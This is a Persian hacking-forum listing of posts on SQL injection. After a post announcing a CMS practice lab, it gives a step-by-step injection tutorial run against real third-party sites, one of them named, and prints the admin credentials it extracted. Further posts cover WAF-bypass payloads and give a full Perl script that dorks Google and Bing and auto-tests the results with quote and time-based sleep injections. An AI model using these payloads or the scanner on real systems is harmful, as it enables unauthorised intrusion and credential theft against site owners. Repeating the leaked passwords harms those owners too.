رفتن به مطلب
بازگشایی انجمن! ×
GuardIran

جستجو در تالارهای گفتگو

در حال نمایش نتایج برای برچسب های 'sql injention'.

  • جستجو بر اساس برچسب

    برچسب ها را با , از یکدیگر جدا نمایید.
  • جستجو بر اساس نویسنده

نوع محتوا


تالارهای گفتگو

  • انجمن گاردایران
    • قوانین و اطلاعیه های سایت
    • اخبار هک و امنیت
    • انتقادات و پیشنهادات
    • بخش خصوصی
    • بخش ویژه - VIP
    • بخش زیر زمینی
  • سوال و جواب های عمومی
    • سوال و جواب های نفوذ به سایت ها و سرورها و روشهای مقابله
    • سوال و جواب های امنیت سیستم های شخصی
    • سوال و جواب های برنامه نویسی
    • سوال و جواب های ابزارهای امنیتی
    • سوال و جواب های شبکه
    • سوال و جواب های مدیریت محتوا و وبلاگ ها
    • سوال و جواب های بخش Trojan , Rat , Keylogger
    • سوال و جواب های سیستم عامل ها
    • سوال و جواب های امنیت ایمیل های شخصی
    • سوال و جواب الکترونیک
    • سوال و جواب های موبایل
    • سوال و جواب های متفرقه
  • انجمن نفوذ و امنیت
    • آموزش های تصویری
    • آموزش های تصویری نفوذ به سیستم های شخصی و روشهای مقابله
    • آموزش های تصویری سایت ها و سرورها و روشهای مقابله
    • آموزشهای تصویری شبکه و روشهای مقابله
    • حملات شبکه و راههای مقابله
    • DOS , DDOS
    • ویروس ها و تروجان ها
    • متاسپلویت Metasploit
    • ابزارهای امنیتی
    • Shell Script
    • آسیب پذیری های وایرلس
    • اکسپلویت
    • باگ های امنیتی
    • امنیت ایمیلهای شخصی
    • تارگت های تمرینی
    • اسکنرها و ابزارهای هکینگ
  • بخش کرک و رمزنگاری
    • ابزار کرک
    • مقالات و آموزشهای کرک
    • مقالات و آموزشهای رمزنگاری
    • ابزارهای رمزنگاری
    • پروکسی لیست
    • پسورد لیست و کمبو لیست
    • کانفیگ
    • اکانت های کرک شده
  • برنامه نویسی
    • برنامه نویسی
    • برنامه نویسی تحت وب
  • بخش موبایل
    • بخش مخصوص موبایل
    • هک موبایل
  • شبکه
    • Cisco سیسکو
    • نتورک پلاس Netwok+
    • مایکروسافت Microsoft
    • میکروتیک Microtics
    • مجازی سازی
    • ابزارهای شبکه و مانیتورینگ
    • فایروال
  • سیستم عامل
    • لینوکس
    • ویندوز
    • کالی لینوکس Kali Linux
    • مکینتاش
  • الکترونيک و روباتيک
    • الکترونيک
    • ميکروکنترلرها و پروسسور ها
    • نرم افزار هاي تخصصي برق و الکترونيک
    • روباتيک
  • گرافيک
    • فتوشاپ
    • فلش
  • متفرقه
    • بحث آزاد

وبلاگ‌ها

چیزی برای نمایش وجود ندارد


جستجو در...

نمایش نتایجی که شامل...


تاریخ ایجاد

  • شروع

    پایان


آخرین بروزرسانی

  • شروع

    پایان


فیلتر بر اساس تعداد...

تاریخ عضویت

  • شروع

    پایان


گروه


About Me

  1. MSACMS با سلام خدمت تمام دوستان و مدیران عزیز سایت گاردایران در این تاپیک برای شما یک خدماتی رو می خواهم ارائه بدهم نام خدمات msacms هست که سه cms : 1.wordpress 2.drupal 3.joomla رو بالا اوردم تا بتوانید به صورت رایگان با cms ها کار کنید و اسیب پذیری و باگ پرایوت پیدا کنید ، همچنین اسیب پذیری توی در پوسته ها و پلاگین ها و .... این خدمات مثل یک ازمایشگاه می مونه که مثلا : شما میای روی یکی از cms های دلخواه تست اسیب پذیری انجام می دهید و روی پلاگین های ورژن دلخواه و پوسته دلخواه و ... و مثلا یه کسی که خیلی بلد نیست میاد و کار با cms رو یاد میگیره . و هر دوستی اگر خواست درخواست می دهد و یه cms به صورت دلخواه با ورژن دلخواه برای اون نصب می شود . ادرس خدمات MSACMS : MR-MSA.XYZ : username & password یوزرنیم و پسورد cms ها : guardiran اما زمانی که شما یک cms رو انتخاب می کنید یه یوزر و پسورد می خواد که خیلی قوی هست و فقط یک بار باید بزنید .(برای امنیت بالا این کار انجام شده که هر فردی نتواند استفاده کند ) در ورژن ۱ برای دریافت یوزرنیم و پسورد به صورت خصوصی در سرور discord گاردایران و یا در قسمت پیام رسانی گاردایران باید به من پیام می دادید ، اما در ورژن ۱.۲.۰ برای شما یوزر و پسورد رو در فایل ضمیمه قرار دادم . (در تایپک دوم موجود است ) ------------------------------------------------------------------------------------------------------------------------------------------------------------- نکات مهم زمان استفاده از سایت : ۱- پسورد و یوزر cms ها همیشه guardiran هست و نباید تعویض گردد . ۲- هر روز cms ها چک می شود . ۳- هر ۳ روز یک بار در صورت لزوم cms ها ریست می شوند . ۴- فقط تا ۳ فایل و حداکثر ۱۰ مگابایت می تونید اپلود کنید . ۵- برای دریافت رمز عبور حتما باید در انجمن گاردایران ثبت نام کنید . ۶- اگر یک زمان خواستید برای مثال ببینید که می توان در این اپلودر شل اپلود کرد یا نه به جای شل از یک فایل php استفاده کنید . ۷- هیچ زمان شل اپلود نکنید ، چون اکانت شما به صورت خودکار بن می شود و دیگر قابل برگشت نیست (به دلیل شناسایی فایروال ) ۸- هیچ زمان به سایت حملات ddos نزنید چون موفق نمی شوید . ۹ - این cms به صورت مداوم بروز می شود . ------------------------------------------------------------------------------------------------------------------------------------------------------------- امنیت سرور : DDOS در حملات دیداس به شبکه خود دیتاسنتر وارد عمل می شود و آنتی دیداس را فعال می کند در حملات دیداس به سایت ها بخاطر مانیتورینگ لحظه ای که سرور دارد سریعا دسترسی به ایران محدود می شود تا حملات خنثی شود . Firewall در ورژن ۱ سرور دارای فایروال نرم افزاری CSV بود اما در ورژن ۱.۲۰ فایروال cloudflare رو هم اضافه کردیم . Shell سرور دارای انتی شل است و به علاوه فایروال مانع اجرا و استفاده از شل می شود . Backup سایت روزانه بک اپ گیری می شود . ------------------------------------------------------------------------------------------------------------------------------------------------------------- امنیت سایت : سعی کردم روی امنیت سایت کار کنم و سایتی با خدمات خوب و البته امنیت بالا ارائه بدهم و در آینده امنیت بالا تر رفته و سایت بهبود می بخشد. ------------------------------------------------------------------------------------------------------------------------------------------------------------- گزارش باگ : اگر دوستی با باگی در خود سایت مواجه شد و یا دوست داشت مورد امنیتی رو در رابطه با خود سایت گزارش بدهد به صورت خصوصی به من گزارش بده تا رفع بشود . ------------------------------------------------------------------------------------------------------------------------------------------------------------- CMS مورد نظر : اگر دوستی cms خواست تا براش نصب کنم به من پیام خصوصی بدهد . اطلاعات شامل : نوع cms ورژن مورد نظر لینک دانلود ------------------------------------------------------------------------------------------------------------------------------------------------------------- قوانین تاپیک : هر سوال داشتید در بخش سوال و جواب ها ، در غیر این صورت پاسخ داده نمی شود . انتقادات و پیشنهادات خودتون رو به صورت خصوصی به من ارسال کنید . مشکلات و خطا ها رو به صورت خصوصی ارسال کنید . ------------- ------------- ------------- تایید شده توسط مدیران بخش ‌: R3DN4X314 و proxy ------------- ------------- ------------ ورژن 1.0.0 رونمایی می کند : mr-msa.xyz ورژن 1.2.0 رونمایی می کند : mr-msa.xyz ورژن 1.3.0 رونمایی می کند : mr-msa.xyz ورژن 1.4.0 رونمایی می کند : mr-msa.xyz ورژن 1.5.0 رونمایی می کند : mr-msa.xyz این خدمات به صورت کامل متعلق به انجمن تیم امنیتی گاردایران بوده و هر گونه کپی برداری ، اسیب رساندن به خدمات و ... تخلف محسوب می شود و پیگرد قانونی دارد .
  2. nonamee

    تارگت برای آموزش Sqlinjection

    ••.•´¯`•.•• 🎀 به نام خدا 🎀 ••.•`¯´•.•• با سلام خدمت کاربران محترم انجمن گاردایران تارگت اول برای آموزش -> شما برای پی بردن به وجود باگ SQL از چندین روش میتونید استفاده کنید روش اول بعد از عدد یا حرف میتونید هر یک از این علامت هارو قرار بدین ' یا '' یا \ بعد از قرار دادن هر یک از این علامت ها اگر هر گونه تغییر در سایت شدین احتمال زیاد سایت حاوی باگ هستش حالا عملیات برای سایت های مختلف فرق خواهد کرد که با چه زبانی نوشته شده ما فرض میکنیم با php نوشته شده برای پیدا کردن تارگت شما باید دورک نویسی را بلد باشید , اگر دورک نویسی بلد نباشید احتمال زیاد از تارگت هم خبری نیست من لیستی از دورک هارو واستون قرار میدم DORK.txtهر یک از دورک هارو در گوگل search کنید یادتون باشه اول دورک :inurl قرار بدید باگ SQLinjection نکات زیادی داره که سعی میکنم همه ی نکات را تقریبا خدمتتون عرض کنم ولی فعلا شما باید با نحوه ی کار آشنا بشید خب بریم سراغ تارگت اول [Hidden Content] شما بعد از قرار دادن ' متوجه خواهید شد که سایت حاوی باگ است به همین ترتیب شما میتونید خیلی راحت version و تعداد ستون های سایت رو دربیارید [Hidden Content] order by 99999-- 99999 که مشاهده میکنید یک عدد بزرگ هستش که شما به دلخواه میتونید وارد کنید این بدان معناست که ما با سایت صحبت میکنیم که آیا انقدر تعداد ستون دارد یا خیر ؟ اگر بعد از قرار دادن این عدد بزرگ سایت به طور کامل load شد این بدان معناست که سایت در گفتن حرف صحیح دریغ میکند 😁 پس باید بایپس آن را انجام دهیم بایپس این مورد به این شکل هستش [Hidden Content] order by 99999--+ در این حالت سایت دیگر load نمی شود چون دیگر اینقدر ستون ندارد ما تا جایی عدد 9999 را کم میکنیم که تا صفحه load شود که این بدان معناست تعداد ستون ها 5 عدد است [Hidden Content] order by 5--+ حال با دستور UNION SELECT 1,2,3,4,5 ستون هارو مشخص میکنیم [Hidden Content] union select 1,2,3,4,5--+ بعد از انجام مراحل بالا ستون ها مشخص میشود در صفحه عدد 2 و 3 مشخص شده است ما باید سعی کنیم عددی را انتخاب کنیم که از لحاظ سایز زیادی بزرگ نباشد برای مثال در اینجا عدد 2 دارای سایز بزرگتری نسبت به 3 هستش پس ما شروع به سوال پرسیدن از عدد 3 خواهیم کرد حال سوال پیش میاید چرا 2 را انتخاب نکنیم ؟ چون در استخراج اطلاعات مهم سایت مثلا user va pass به صورت حروف بزرگ نمایش داده میشود که ممکن است این حروف به صورت کوچک وارد سیستم شده اند برای فهمیدن version سایت کافی است شما ()version را به جای عدد 3 قرار دهید این نکته هم خدمتتون عرض کنم اگر جایی با گذاشتن ()version چیزی نمیایش داده نشد آن را بایپس کنید بدین صورت version@@ [Hidden Content] union select 1,2,version(),4,5--+ حال به سراغ بیرون کشید data base سایت خواهیم رفت بدین صورت با دستور [Hidden Content] union select 1,2,group_concat(table_name,0x3c62723e),4,5+from+information_schema.tables+where+table_schema=database()--+ اگر مشاهده کنید admin یک base مهم برای کار ماست آن را یاد داشت میکنیم و به صورت hex شده هم در میاوریم اگر نمیدونید چطور به صورت hex دربیارید چون باید به زبان سایت admin را تبدیل کنید یک برنامه قرار میدم برای راحتی کارتون CharConversion.rarپسورد ---> guardiran.org admin = 0x61646d696e اینو یادتون باشه حتما قبل 61646d696e ---> 0x قرار دهید دستور بدین صورت است [Hidden Content]%20union%20select%201,2,group_concat(column_name,0x3c62723e),4,5+from+information_schema.columns+where+table_name=0x61646d696e--+ بعد از مشخص شدن table های مهم آن ها را در دستور زیر وارد کنید group_concat(user,0x3a,password)+from+ Hex kardim [Hidden Content]%20union%20select%201,2,group_concat(user_id,0x3a,password,0x3c62723e),4,5+from+admin--+ به همین راحتی username : admin password : 25a41cec631264f04815eda23dc6edd9 password : vizag@123 سعی کردم تارگتی رو انتخاب کنم که به راحتی بتونید یاد بگیرید دستورات رو نکته : دستوری رو میتونم یادتون بدم که در خیلی موارد جواب میده و اصلا نیاز نیست زمان زیادی برای پیدا کردن database یا table صرف کنید شما فقط کافی در قسمت ستون آسیب پذیر این دستور رو وارد کنید (select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a) به همین راحتی تمام جزئیات مشخص خواهد شد تارگت شماره ی 2 ----------> [Hidden Content] شما خیلی راحت میتونید با دورک نویسی صفحه ای رو پیدا کنید برای وارد کرد دستورات مثلا در گوگل بدین صورت search میکنید site:"[Hidden Content]" inurl:"id=" [Hidden Content]/our-products-detail.php?id=1 فرضا این صفحه رو انتخاب کردیم و دستورات را وارد میکنیم با وارد کردن ' متوجه میشیم که سایت دارای تغییر است و Error میدهد پس سایت باگ SQLinjection دارد حال دستورات را وارد میکنیم [Hidden Content]/our-products-detail.php?id=1 order by 999999-- بعد از آن فهمیدیم که تعداد ستون های سایت 7 تا است بدین طریق عمل میکنیم [Hidden Content]/our-products-detail.php?id=1%20union%20select%201,2,3,4,5,6,7-- ولی بعد از وارد کردن این دستورات یک Error معروف به میدهد The used SELECT statements have a different number of columns زمانی که با این Error مواجع شدید باید از بایپس استفاده کنید اگر بایپس هم جوابگو نداد باید از متد Xpath injection استفاده کنید متد xpath injection برای به دست آوردن version در این متد شما باید بدین طریق عمل کنید با این دستور +and+extractvalue(rand(),concat(0x7e,version()))-- or +and+updatexml(null,concat(0x3a,version()),null)-- بعد از وارد کردن [Hidden Content]/our-products-detail.php?id=1+and+extractvalue(rand(),concat(0x7e,version()))-- version مشخص میشود XPATH syntax error: '~5.5.62-38.14-log' به همین راحتی حالا باتوجه به دستورات xpath injection برای به دست آوردن data base سایت عمل میکنیم بدین روش +and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+limit+0,1)))-- که با زیاد کردن عدد 0 میتونید database رامشخص کنید ولی برای راحتی کار شما یک متد محدود سازی شده قرار میدم که میتونید استفاده کنید که زمانتون از دست نره بدین روش +and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))-- حال دستورات را وارد کنید بدین طریق [Hidden Content]/our-products-detail.php?id=1+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))-- مشاهده میکنید که با خوش شانسی اول admin پدیدار میشود بسیار خب حال برای فهمیدن چه چیزی درون ادمین است از این روش استفاده میکنیم فقط قبلش باید admin رو به صورت hex شده دربیارید admin = 0x61646d696e +and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=name table hex masalan admin+limit+0,1)))-- بسیار خب حالا دستور بالا را وارد میکنیم www.belbana.com/our-products-detail.php?id=1+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0x61646d696e+limit+0,1)))-- بسیار خب حالا عدد صفر را به ترتیب زیاد کنید مشاهده میکنید که XPATH syntax error: '~id' XPATH syntax error: '~login' XPATH syntax error: '~paswoord' نمایش داده میشود انقدر عدد را افزایش میدید که دیگر چیزی نمایش داده نشود حالا با دستور زیاد اطلاعات رو بیرون میکشیم +and+extractvalue(rand(),concat(0x7e,(select+concat(login,0x7e,paswoord)+from+admin+limit+0,1)))-- XPATH syntax error: '~belbana~3AMGz4dfNRUteaZfbeng' سعی میکنم در روز های آینده تارگت و آموزش رو باهم قرار بدم همراه با بایپس های خاص امیدوارم موفید واقع شده باشه با تشکر
  3. MR.MSA

    متد separator در sql injection

    با سلام خدمت دوستان و مدیران عزیز سایت GUARDIRAN در این پست قصد دارم به شما آموزش متد separator رو یدم ، در آموزش متد join اگر یادتون باشه نامی از متد separator رو بردم امروز گفتم شاید مبدتی ها با این متد آشنایی نباشند و آموزشش رو بدم . متد separator‌ : در زمان مرتب سازی تیبل ها ، ستون ها و یوزرنیم و پسورد ها شما میاید از کاما برای گذاشتن تگ br (به صورت hex) استفاده می کنید : ..........(group_concat(table_name,0x3c62723e...... حالا شاید در بعضی تارگت ها سایت به کاما حساس باشد در اینجا است که باید از متد separator استفاده کنید ، به این صورت : .......( group_concat((table_name)separator 0x3c62723e...... زیاد پست رو طولانی نمی کنم و گفتم متد ساده ای هست نیاز به توضیحات ندارد . ممنون که وقت گذاشتید و این تاپیک رو تا آخر خواندید .
  4. echzed

    bypass NOT ACCEPTABLE

    سلامی دوباره DANTE هستم اینبار اومدم بایپس یک ارور در باگ sqli یا همون sql injection رو معرفی کنم ممکنه ما تا یک جایی پیش بریم ولی با ارور NOT ACCEPTABLE مواجه بشیم اصلا ماهیت این ارور چیه؟ : این ارور نشون میده که سرور اجرای بعضی کد ها رو قفل کرده که ما میتونیم به دو روش دورش بزنیم روش اول: با نوشتن کد زیر /*!50000your_code*/ و به جای your_code دستور که فکر میکنید بلاک شده است را مینویسین روش دوم: بعضی از حروف دستوری که فکر میکنید اشتباه است را بزرگ بنویسید امیدوارم لذت برده باشید
  5. kali

    اسکریپ Sql injection Dork Finder

    سلام حدمت تمامی دوستان اینم اسکریپ به زبان پرل کارش چیه ؟ دورک Sql injention سرچ میکنه و سایتهای باگدار و آسیب پذیر رو براحتی بهتون نشون میده. از سایتی مثل Google Dork Bing Dork سرچ میزنه طرز استفاده sqliDorking.pl -d inurl:product.php?id= -p 3اسکریپ#!/usr/bin/perl################################## SQLi Dorking ## Autor: Crozz Cyborg ## ## Copyright 2014 Crozz Cyborg ##################################use strict;$| = 1;$SIG{'INT'} = \&Interrupt;# Modulos/Libreriasuse HTTP::Request;use LWP::UserAgent;use Getopt::Long;use Benchmark;use POSIX;use threads;use Time::HiRes "usleep";# Variablesmy @UserAgents = ('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0','Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0','Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0','Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)','Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14','Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14');my ($Dork,$BingDork,$List,$NumPaginas,$FileLinks,$Proxy);my ($proceso,@ProTime);my $result = GetOptions( 'gd=s' => \$Dork, 'bd=s' => \$BingDork, 'l=s' => \$List, 'p=s' => \$NumPaginas, 'f=s' => \$FileLinks, 'prx=s' => \$Proxy);# INI Funcionessub Uso(){ die <<EOTXT;\rUso: $0 [-d dork] -p <paginas> [-l archivo.txt] [-f archivo] -gd <Dork> Google Dork -bd <Bing> Bing Dork -l <Archivo> Archivo con links para analizar -p <paginas> Numero de paginas para buscar -f <archivo> Archivo donde se guardaran los logsEjemplo: $0 -d inurl:product.php?id= -p 3Mas informacion escribe: perldoc $0EOTXT}sub LinksByDork(){ my @Links; my $Paginas = $Dork ? 0 : 1; my ($carga,$porcentaje) = ("",0); $proceso = 'dork'; print "Dork: $Dork$BingDork\n"; foreach(my $pag = 0;$pag <= $NumPaginas;$pag++){ my ($HTML,$Link,@Data); printf("\r[%-50s] %3i%%",$carga,$porcentaje < 100 ? ceil($porcentaje) : floor($porcentaje)); $porcentaje += (100/$NumPaginas); $carga = "=" x ($porcentaje < 100 ? ceil($porcentaje)/2 : floor($porcentaje)/2); my $time1 = new Benchmark; if($Dork){ $HTML = &Navegar('[Hidden Content],$Proxy); } elsif($BingDork){ $HTML = &Navegar('[Hidden Content],$Proxy); } my $time2 = new Benchmark; push(@ProTime,${timediff($time2,$time1)}[0]); if($HTML =~ m/Our systems have detected unusual traffic from your computer/i){ $HTML =~ /IP address\: (\S+)\<br/i; print "\rDetectado trafico \"inusual\" de la IP $1\ncambiala para continuar [(C)ambiar a Bing/(Q)uitar/Continuar[Enter]] "; chomp(my $CQ = <STDIN>); if($CQ =~ /q/i){ if($#Links > 0){ @Links = &EliminarRep(@Links); return @Links }else{exit} } elsif($CQ =~ /c/i){ $BingDork = $Dork; $Dork = 0; $Paginas += 1; $HTML = &Navegar('[Hidden Content],$Proxy); } else{ print "Continuando...\n"; $pag--; next } } if($Dork){ @Data = $HTML =~ m/href="\/url\?q=([-.:%?=&\/\w]+)\&sa=U&/gi; } elsif($BingDork){ @Data = $HTML =~ /<h3><a href="([-.:%?=&\/\w]+)"/mgi; } foreach $Link(@Data){ if($Link !~ m/google.com/i && $Link !~ m/googleusercontent.com/i && $Link !~ m/msn.com/i && ($Link =~ m/\%3[fF]\w+%3[dD]\w+/ || $Link =~ /\?\w+=\w+/)){ $Link =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $Link =~ s/https:\/\//http:\/\//g; push(@Links,$Link); } } $Paginas += 10; } print "\n\n"; @Links = &EliminarRep(@Links); return @Links}sub LinksByList(){ my @Links; $NumPaginas = 15; open(LIST,"$List"); while(<LIST>){ chomp; $BingDork = "site:$_"; push(@Links,LinksByDork()); } close(LIST); return @Links}sub Navegar(){ my ($URL,$UseProxy) = @_; my ($UA,$Req,$Resp,$Contenido); $UA = LWP::UserAgent->new; $UA->agent($UserAgents[int(rand($#UserAgents+1))]); $UA->timeout(10); $URL =~ /^http\:\/\/([\w\.]+)\/*/; $UA->default_header('Host' => $1); $UA->default_header('Accept' => 'text/html'); $UA->default_header('Accept-Language' => 'en-US,en;q=0.5'); $UA->default_header('DNT' => '1'); $UA->default_header('Connection' => 'close'); $UA->proxy('http' => "[Hidden Content]") if $UseProxy; $Req = HTTP::Request->new(GET => $URL); $Resp = $UA->request($Req); return 0 unless($Resp->is_success); $Contenido = $Resp->content(); return $Contenido}sub SQL(){ my $Link = shift; my @Edit = split('\?',$Link); # Separa variables de la url my @Variables = split('&',$Edit[1]); # Separa por pares variable=valor my %Vars = map {split('=',$_)} @Variables; # Almacena variable = valor en el hash %Vars my $LinkMod; my @HTML = (undef) x 3; foreach my $Var(keys %Vars){ $LinkMod = &ModLink($Edit[0],@Variables,$Var," '"); # Se modifica el link para inyectar el codigo ' en la variable $Var my $time1 = new Benchmark; unless($HTML[0] = &Navegar($LinkMod)){ return 0; } my $time2 = new Benchmark; my $time3 = ${timediff($time2,$time1)}[0]; #push(@ProTime,${timediff($time2,$time1)}[0]); if($HTML[0] =~ m/You have an error in your SQL syntax/i){ my @Ret = ($Link,$Var,"'",$ProTime[$#ProTime]); return \@Ret; } elsif($HTML[0] =~ m/supplied argument is not a valid MySQL/i){ my @Ret = ($Link,$Var,"'",$ProTime[$#ProTime]); return \@Ret; } my ($tmp,$aumento); $tmp += $_ foreach(@ProTime); $tmp = int($tmp/($#ProTime+1)); $aumento = $time3 >= ($tmp+3) ? 10 : 5; foreach(("' and sleep(".($time3+$aumento).") and '1' = '1"," and sleep(".($time3+$aumento).") and 1 = 1")){ $LinkMod = &ModLink($Edit[0],@Variables,$Var,$_); my $time1 = new Benchmark; unless($HTML[0] = &Navegar($LinkMod)){ next; } my $time2 = new Benchmark; my $timedif = timediff($time2,$time1); if($$timedif[0] >= ($time3+$aumento)){ my @Ret = ($Link,$Var,$_,$$timedif[0]); return \@Ret; } } } return 0}sub ModLink(){ my $Host = shift; my @Variables = shift; my $Var = shift; my $Code = shift; my %Vars = map {split('=',$_)} @Variables; my $LinkMod = $Host.'?'; foreach (keys %Vars){ if($Var eq $_){$LinkMod .= "$_=".$Vars{$_}." $Code&";} else{$LinkMod .= "$_=".$Vars{$_}."&";} } chop($LinkMod); return $LinkMod;}sub EliminarRep(){ my @Links = @_; my @HP1; my @HP2; for(my $i = 0;$i <= $#Links;$i++){ @HP1 = split('\?',$Links[$i]); for(my $x = $i;$x <= $#Links;$x++){ @HP2 = split('\?',$Links[$x]); if($i != $x && $HP1[0] eq $HP2[0]){ splice(@Links,$x,1); $x-- if $x != 0; } } } return @Links;}sub Logs(){ if(open(LOGS,">>${$_[0]}")){ print LOGS "$_[1]\n"; close(LOGS); } else{ print "No se puede escribir en el archivo '${$_[0]}' $!"; print "Especifica otro archivo: "; chomp(${$_[0]} = <STDIN>); }}sub Interrupt(){ print "\n\n1) Cambiar proxy\n2) Cambiar dork\n3) Salir\n\n\$> "; chomp(my $resp = <STDIN>); if($resp == 1){print "Nuevo proxy: ";chomp($Proxy = <STDIN>)} elsif($resp == 2){print "Nueva dork: ";chomp($Dork = <STDIN>)} elsif($resp == 3){print "Finalizando\n";exit} else{print "Opcion invalida\n";}}# End Funcionessub main(){ my @Links; my @LinkSQLi; my @t = (4,8,10); my @c = ("\e[1;32m","\e[0;32m"); my $nc = 0; print "Obteniendo links..."; if($Dork){ Uso() unless $NumPaginas; if($BingDork){ print "\rSolamente puedes usar un buscador!\n"; Uso(); } print "\n";push(@Links,LinksByDork()); } elsif($BingDork){ Uso() unless $NumPaginas; if($Dork){ print "\rSolamente puedes usar un buscador!\n"; Uso(); } print "\n";push(@Links,LinksByDork()); } elsif($List){ print "\n";push(@Links,LinksByList()); } else{ Uso(); } print "Escaneando ".($#Links+1)." links...\n\n" if $#Links > 0; foreach(@Links){ my $thr1 = threads->create(\&SQL,$_); while($thr1->is_running()){ for(("/","-","\\","|")){ print $_; usleep(80_000); print "\b"; } } my $Datos = $thr1->join(); if($Datos){ foreach(0..2){ $t[$_] = length($$Datos[$_]) if($t[$_] < length($$Datos[$_])); } printf("Link: %s Var: %s Payload: %s Time: %s\n",$$Datos[0],$$Datos[1],$$Datos[2],$$Datos[3]); &Logs(\$FileLinks,"Link: $$Datos[0] Var: $$Datos[1] Payload: $$Datos[2]") if $FileLinks; push(@LinkSQLi,$Datos); } } if(@LinkSQLi and $^O eq "linux"){ printf("\n" x 5); printf("+%s+%s+%s+\n","-" x ($t[0]),"-" x ($t[1]),"-" x ($t[2])); printf("|\e[0;33mLink%s\e[0m|\e[0;33mVar%s\e[0m|\e[0;33mPayload%s\e[0m|\n"," " x ($t[0]-4)," " x ($t[1]-3)," " x ($t[2]-7)); printf("+%s+%s+%s+\n","-" x ($t[0]),"-" x ($t[1]),"-" x ($t[2])); foreach my $l(@LinkSQLi){ printf("|$c[$nc % 2]%-${t[0]}s\e[0m|$c[$nc % 2]%-${t[1]}s\e[0m|$c[$nc % 2]%-${t[2]}s\e[0m|\n",$$l[0],$$l[1],$$l[2]); $nc++; } printf("+%s+%s+%s+\n","-" x ($t[0]),"-" x ($t[1]),"-" x ($t[2])); system("notify-send \"SQLi Dorking\" \"Escaneo finalizado con ".($#LinkSQLi+1)." vulnerables\" -t 10000"); } elsif(@LinkSQLi and $^O eq "MSWin32"){ printf("\n" x 5); printf("+%s+\n","-" x ($t[0])); printf("|Link%s|\n"," " x ($t[0]-4)); printf("+%s+\n","-" x ($t[0])); foreach my $l(@LinkSQLi){ printf("|%-${t[0]}s|\n",$$l[0]); } printf("+%s+\n","-" x ($t[0])); } else{ print "No se encontraron paginas vulnerables\n"; system("msgbox * \"Escaneo finalizado con ".($#LinkSQLi+1)." vulnerables\""); }}main();__END__=head1 NombreSQLi Dorking=head1 VersionVersion: 1.1 Beta=head1 AutorCrozz Cyborg=head1 DescripcionBusca paginas vulnerables a SQL (usa google)=head1 UsosqliDorking.pl [-d/-bd <dork>] -p <paginas> [-l Links.txt] [-f Logs.txt]=head2 Opciones -gd <Dork> Google Dork -bd <Bing> Bing Dork -l <Archivo> Archivo con links para analizar -p <paginas> Numero de paginas para buscar -f <archivo> Archivo donde se guardaran los logs=head2 Ejemplos de usosqliDorking.pl -gd inurl:product.php?id= -p 3 -f VulneSQL.txtsqliDorking.pl -l links.txt -f VulneSQL.txtsqliDorking.pl -bd inurl:product.php?id= -p 3sqliDorking.pl -l links.txt=head2 Archivo Links.txtEl archivo links.txt puede tener cualquier otro nombre, en cuanto al formato debe de tener 1 nombre de dominio por linea, ejemplo de dominio: victima.com
×
×
  • ایجاد مورد جدید...